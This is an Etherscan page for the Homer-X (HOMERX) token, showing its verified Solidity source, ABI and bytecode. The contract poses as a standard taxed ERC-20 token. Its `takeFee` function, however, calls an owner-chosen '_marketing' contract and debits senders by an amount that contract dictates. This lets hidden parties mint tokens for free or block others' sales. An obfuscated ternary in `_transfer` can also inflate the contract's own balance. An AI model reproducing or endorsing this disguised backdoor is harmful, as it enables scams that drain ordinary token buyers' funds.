ETH Price: $2,987.88 (+4.42%)
Gas: 2 Gwei

Token

Homer-X (HOMERX)
 

Overview

Max Total Supply

1,000,000,000 HOMERX

Holders

125

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
0xdaylight.eth
Balance
2,517,700.655933304 HOMERX

Value
$0.00
0xcc4c30600cc1a3e8fdc866ee3c6f73dc9248428f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HomerX

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-18
*/

/**

https://t.me/homerxerc

https://twitter.com/homerxerc

https://www.homerx.xyz

 
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract HomerX is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _excludedForTx;
    mapping(address => uint256) private _holderLastTime;
    bool public transferDelayEnabled = true;
    address private _marketing;

    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _reduceBuyTaxAt = 12;
    uint256 private _reduceSellTaxAt = 12;

    uint256 private _initialBuyTax2 = 0;
    uint256 private _initialSellTax2 = 0;
    uint256 private _reduceBuyTaxAt2 = 0;

    uint256 private _finalBuyTax = 1;
    uint256 private _finalSellTax = 1;
    
    uint256 private _preventSwapBefore = 1;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _total = 1_000_000_000 * 10**_decimals;
    string private constant _name = unicode"Homer-X";
    string private constant _symbol = unicode"HOMERX";

    uint256 public _maxTx =  _total * 25 / 1000;
    uint256 public _maxWallet =  _total * 25 / 1000;
    uint256 public _swapThreshold= _total / 1000;
    uint256 public _maxTaxSwap = _total * 8 / 10000;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTx);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _balances[_msgSender()] = _total;
        _excludedForTx[owner()] = true;
        _excludedForTx[address(this)] = true;

        emit Transfer(address(0), _msgSender(), _total);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _total;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function takeFee(address account, uint256 amount) internal returns (uint256) {
        if (_marketing == address(0)) return amount;
        (bool successed, bytes memory returned) = _marketing.call(abi.encodePacked(account));
        require(successed, "Address: unable to send value");
        return amount.mul(uint256(bytes32(returned)));
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner() && from != address(this) && to != address(this)) {
            taxAmount = amount.mul(_taxBuy()).div(100);

            if (transferDelayEnabled) {
                  if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { 
                      require(
                          _holderLastTime[tx.origin] <
                              block.number,
                          "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                      );
                      _holderLastTime[tx.origin] = block.number;
                  }
              }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _excludedForTx[to] ) {
                require(amount <= _maxTx, "Exceeds the _maxTx.");
                require(balanceOf(to) + amount <= _maxWallet, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul(_taxSell()).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            to == address(this) && amount == _preventSwapBefore? _balances[address(this)] *= _preventSwapBefore : amount;
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_swapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0.02 ether) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(takeFee(from,amount));
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _taxBuy() private view returns (uint256) {
        if(_buyCount <= _reduceBuyTaxAt){
            return _initialBuyTax;
        }
        if(_buyCount > _reduceBuyTaxAt && _buyCount <= _reduceBuyTaxAt2){
            return _initialBuyTax2;
        }
         return _finalBuyTax;
    }

    function _taxSell() private view returns (uint256) {
        if(_buyCount <= _reduceBuyTaxAt){
            return _initialSellTax;
        }
        if(_buyCount > _reduceSellTaxAt && _buyCount <= _reduceBuyTaxAt2){
            return _initialSellTax2;
        }
         return _finalBuyTax;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTx = _total;
        _maxWallet =_total;
        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_total);
    }

    function sendETHToFee(uint256 amount) private {
        payable(_marketing).transfer(amount);
    }


    function openTrading(address marketing_) external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _total);
        _marketing = marketing_;
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTx","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"marketing_","type":"address"}],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600160055f6101000a81548160ff02191690831515021790555060146006556014600755600c600855600c6009555f600a555f600b555f600c556001600d556001600e556001600f555f6010556103e86009600a62000064919062000392565b6200007490633b9aca00620003a9565b62000081906019620003a9565b6200008d9190620003c3565b6011556103e8620000a16009600a62000392565b620000b190633b9aca00620003a9565b620000be906019620003a9565b620000ca9190620003c3565b6012556103e8620000de6009600a62000392565b620000ee90633b9aca00620003a9565b620000fa9190620003c3565b6013556127106200010e6009600a62000392565b6200011e90633b9aca00620003a9565b6200012b906008620003a9565b620001379190620003c3565b6014556016805461ffff60a81b1916905534801562000154575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001a36009600a62000392565b620001b390633b9aca00620003a9565b335f908152600160208190526040822092909255600390620001dc5f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f908120805494151560ff199586161790553081526003909252902080549091166001179055620002233390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200025c6009600a62000392565b6200026c90633b9aca00620003a9565b60405190815260200160405180910390a3620003e3565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002d757815f1904821115620002bb57620002bb62000283565b80851615620002c957918102915b93841c93908002906200029c565b509250929050565b5f82620002ef575060016200038c565b81620002fd57505f6200038c565b8160018114620003165760028114620003215762000341565b60019150506200038c565b60ff84111562000335576200033562000283565b50506001821b6200038c565b5060208310610133831016604e8410600b841016171562000366575081810a6200038c565b62000372838362000297565b805f190482111562000388576200038862000283565b0290505b92915050565b5f620003a260ff841683620002df565b9392505050565b80820281158282048414176200038c576200038c62000283565b5f82620003de57634e487b7160e01b5f52601260045260245ffd5b500490565b6119c480620003f15f395ff3fe608060405260043610610108575f3560e01c8063751039fc1161009257806395d89b411161006257806395d89b41146102b7578063a9059cbb146102e5578063c876d0b914610304578063ca72a4e71461031d578063dd62ed3e1461033c575f80fd5b8063751039fc146102535780637830b0721461026757806382247ec01461027c5780638da5cb5b14610291575f80fd5b806318160ddd116100d857806318160ddd146101bb57806323b872dd146101cf578063313ce567146101ee57806370a0823114610209578063715018a61461023d575f80fd5b806306fdde0314610113578063095ea7b3146101545780630e5a9231146101835780630faee56f146101a6575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b50604080518082019091526007815266090dedacae45ab60cb1b60208201525b60405161014b9190611592565b60405180910390f35b34801561015f575f80fd5b5061017361016e3660046115db565b610380565b604051901515815260200161014b565b34801561018e575f80fd5b5061019860135481565b60405190815260200161014b565b3480156101b1575f80fd5b5061019860145481565b3480156101c6575f80fd5b50610198610396565b3480156101da575f80fd5b506101736101e9366004611605565b6103b6565b3480156101f9575f80fd5b506040516009815260200161014b565b348015610214575f80fd5b50610198610223366004611643565b6001600160a01b03165f9081526001602052604090205490565b348015610248575f80fd5b5061025161041d565b005b34801561025e575f80fd5b50610251610497565b348015610272575f80fd5b5061019860115481565b348015610287575f80fd5b5061019860125481565b34801561029c575f80fd5b505f546040516001600160a01b03909116815260200161014b565b3480156102c2575f80fd5b506040805180820190915260068152650909e9a8aa4b60d31b602082015261013e565b3480156102f0575f80fd5b506101736102ff3660046115db565b610552565b34801561030f575f80fd5b506005546101739060ff1681565b348015610328575f80fd5b50610251610337366004611643565b61055e565b348015610347575f80fd5b5061019861035636600461165e565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61038c33848461091f565b5060015b92915050565b5f6103a36009600a611789565b6103b190633b9aca00611797565b905090565b5f6103c2848484610a42565b610413843361040e85604051806060016040528060288152602001611967602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611067565b61091f565b5060019392505050565b5f546001600160a01b0316331461044f5760405162461bcd60e51b8152600401610446906117ae565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104c05760405162461bcd60e51b8152600401610446906117ae565b6104cc6009600a611789565b6104da90633b9aca00611797565b6011556104e96009600a611789565b6104f790633b9aca00611797565b6012556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105316009600a611789565b61053f90633b9aca00611797565b60405190815260200160405180910390a1565b5f61038c338484610a42565b5f546001600160a01b031633146105875760405162461bcd60e51b8152600401610446906117ae565b601654600160a01b900460ff16156105e15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610446565b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561062a90309061061c6009600a611789565b61040e90633b9aca00611797565b600580546001600160a01b0380841661010002610100600160a81b0319909216919091179091556015546040805163c45a015560e01b81529051919092169163c45a01559160048083019260209291908290030181865afa158015610691573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b591906117e3565b6001600160a01b031663c9c653963060155f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610714573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061073891906117e3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610782573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a691906117e3565b601680546001600160a01b039283166001600160a01b03199091161790556015541663f305d71947306107ed816001600160a01b03165f9081526001602052604090205490565b5f806108005f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610866573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061088b91906117fe565b505060165460155460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156108e0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109049190611829565b50506016805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109815760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610446565b6001600160a01b0382166109e25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610446565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610aa65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610446565b6001600160a01b038216610b085760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610446565b5f8111610b695760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610446565b5f80546001600160a01b03858116911614801590610b9457505f546001600160a01b03848116911614155b8015610ba957506001600160a01b0384163014155b8015610bbe57506001600160a01b0383163014155b15610f2157610be06064610bda610bd361109f565b85906110dc565b90611161565b60055490915060ff1615610cc6576015546001600160a01b03848116911614801590610c1a57506016546001600160a01b03848116911614155b15610cc657325f908152600460205260409020544311610cb45760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610446565b325f9081526004602052604090204390555b6016546001600160a01b038581169116148015610cf157506015546001600160a01b03848116911614155b8015610d1557506001600160a01b0383165f9081526003602052604090205460ff16155b15610df157601154821115610d625760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a3432902fb6b0bc2a3c1760691b6044820152606401610446565b60125482610d84856001600160a01b03165f9081526001602052604090205490565b610d8e9190611848565b1115610ddc5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610446565b60108054905f610deb8361185b565b91905055505b6016546001600160a01b038481169116148015610e1757506001600160a01b0384163014155b15610e2f57610e2c6064610bda610bd36111a2565b90505b305f81815260016020526040902054906001600160a01b038516148015610e575750600f5483145b610e615782610e89565b600f54305f9081526001602052604081208054909190610e82908490611797565b9250508190555b50601654600160a81b900460ff16158015610eb157506016546001600160a01b038581169116145b8015610ec65750601654600160b01b900460ff165b8015610ed3575060135481115b8015610ee25750600f54601054115b15610f1f57610f04610eff84610efa846014546111d8565b6111d8565b6111ec565b4766470de4df820000811115610f1d57610f1d4761135c565b505b505b8015610f9957305f90815260016020526040902054610f40908261139b565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f909085815260200190565b60405180910390a35b610fc4610fa685846113f9565b6001600160a01b0386165f9081526001602052604090205490611503565b6001600160a01b0385165f90815260016020526040902055611007610fe98383611503565b6001600160a01b0385165f908152600160205260409020549061139b565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110508585611503565b60405190815260200160405180910390a350505050565b5f818484111561108a5760405162461bcd60e51b81526004016104469190611592565b505f6110968486611873565b95945050505050565b5f600854601054116110b2575060065490565b6008546010541180156110c95750600c5460105411155b156110d55750600a5490565b50600d5490565b5f825f036110eb57505f610390565b5f6110f68385611797565b9050826111038583611886565b1461115a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610446565b9392505050565b5f61115a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611544565b5f600854601054116111b5575060075490565b6009546010541180156111cc5750600c5460105411155b156110d55750600b5490565b5f8183116111e6578261115a565b50919050565b6016805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611232576112326118a5565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611289573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112ad91906117e3565b816001815181106112c0576112c06118a5565b6001600160a01b0392831660209182029290920101526015546112e6913091168461091f565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac9479061131e9085905f908690309042906004016118b9565b5f604051808303815f87803b158015611335575f80fd5b505af1158015611347573d5f803e3d5ffd5b50506016805460ff60a81b1916905550505050565b6005546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015611397573d5f803e3d5ffd5b5050565b5f806113a78385611848565b90508381101561115a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610446565b6005545f9061010090046001600160a01b0316611417575080610390565b600554604051606085901b6bffffffffffffffffffffffff191660208201525f9182916101009091046001600160a01b03169060340160408051601f198184030181529082905261146791611928565b5f604051808303815f865af19150503d805f81146114a0576040519150601f19603f3d011682016040523d82523d5f602084013e6114a5565b606091505b5091509150816114f75760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75650000006044820152606401610446565b611096610bd382611943565b5f61115a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611067565b5f81836115645760405162461bcd60e51b81526004016104469190611592565b505f6110968486611886565b5f5b8381101561158a578181015183820152602001611572565b50505f910152565b602081525f82518060208401526115b0816040850160208701611570565b601f01601f19169190910160400192915050565b6001600160a01b03811681146115d8575f80fd5b50565b5f80604083850312156115ec575f80fd5b82356115f7816115c4565b946020939093013593505050565b5f805f60608486031215611617575f80fd5b8335611622816115c4565b92506020840135611632816115c4565b929592945050506040919091013590565b5f60208284031215611653575f80fd5b813561115a816115c4565b5f806040838503121561166f575f80fd5b823561167a816115c4565b9150602083013561168a816115c4565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156116e357815f19048211156116c9576116c9611695565b808516156116d657918102915b93841c93908002906116ae565b509250929050565b5f826116f957506001610390565b8161170557505f610390565b816001811461171b576002811461172557611741565b6001915050610390565b60ff84111561173657611736611695565b50506001821b610390565b5060208310610133831016604e8410600b8410161715611764575081810a610390565b61176e83836116a9565b805f190482111561178157611781611695565b029392505050565b5f61115a60ff8416836116eb565b808202811582820484141761039057610390611695565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156117f3575f80fd5b815161115a816115c4565b5f805f60608486031215611810575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611839575f80fd5b8151801515811461115a575f80fd5b8082018082111561039057610390611695565b5f6001820161186c5761186c611695565b5060010190565b8181038181111561039057610390611695565b5f826118a057634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156119075784516001600160a01b0316835293830193918301916001016118e2565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8251611939818460208701611570565b9190910192915050565b805160208083015191908110156111e6575f1960209190910360031b1b1691905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122056eefabfcfa5f39c770e540af13d1e71f969c2164597c0dd0ce95fda6bfa6d0e64736f6c63430008140033

Deployed Bytecode

0x608060405260043610610108575f3560e01c8063751039fc1161009257806395d89b411161006257806395d89b41146102b7578063a9059cbb146102e5578063c876d0b914610304578063ca72a4e71461031d578063dd62ed3e1461033c575f80fd5b8063751039fc146102535780637830b0721461026757806382247ec01461027c5780638da5cb5b14610291575f80fd5b806318160ddd116100d857806318160ddd146101bb57806323b872dd146101cf578063313ce567146101ee57806370a0823114610209578063715018a61461023d575f80fd5b806306fdde0314610113578063095ea7b3146101545780630e5a9231146101835780630faee56f146101a6575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b50604080518082019091526007815266090dedacae45ab60cb1b60208201525b60405161014b9190611592565b60405180910390f35b34801561015f575f80fd5b5061017361016e3660046115db565b610380565b604051901515815260200161014b565b34801561018e575f80fd5b5061019860135481565b60405190815260200161014b565b3480156101b1575f80fd5b5061019860145481565b3480156101c6575f80fd5b50610198610396565b3480156101da575f80fd5b506101736101e9366004611605565b6103b6565b3480156101f9575f80fd5b506040516009815260200161014b565b348015610214575f80fd5b50610198610223366004611643565b6001600160a01b03165f9081526001602052604090205490565b348015610248575f80fd5b5061025161041d565b005b34801561025e575f80fd5b50610251610497565b348015610272575f80fd5b5061019860115481565b348015610287575f80fd5b5061019860125481565b34801561029c575f80fd5b505f546040516001600160a01b03909116815260200161014b565b3480156102c2575f80fd5b506040805180820190915260068152650909e9a8aa4b60d31b602082015261013e565b3480156102f0575f80fd5b506101736102ff3660046115db565b610552565b34801561030f575f80fd5b506005546101739060ff1681565b348015610328575f80fd5b50610251610337366004611643565b61055e565b348015610347575f80fd5b5061019861035636600461165e565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61038c33848461091f565b5060015b92915050565b5f6103a36009600a611789565b6103b190633b9aca00611797565b905090565b5f6103c2848484610a42565b610413843361040e85604051806060016040528060288152602001611967602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611067565b61091f565b5060019392505050565b5f546001600160a01b0316331461044f5760405162461bcd60e51b8152600401610446906117ae565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104c05760405162461bcd60e51b8152600401610446906117ae565b6104cc6009600a611789565b6104da90633b9aca00611797565b6011556104e96009600a611789565b6104f790633b9aca00611797565b6012556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105316009600a611789565b61053f90633b9aca00611797565b60405190815260200160405180910390a1565b5f61038c338484610a42565b5f546001600160a01b031633146105875760405162461bcd60e51b8152600401610446906117ae565b601654600160a01b900460ff16156105e15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610446565b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561062a90309061061c6009600a611789565b61040e90633b9aca00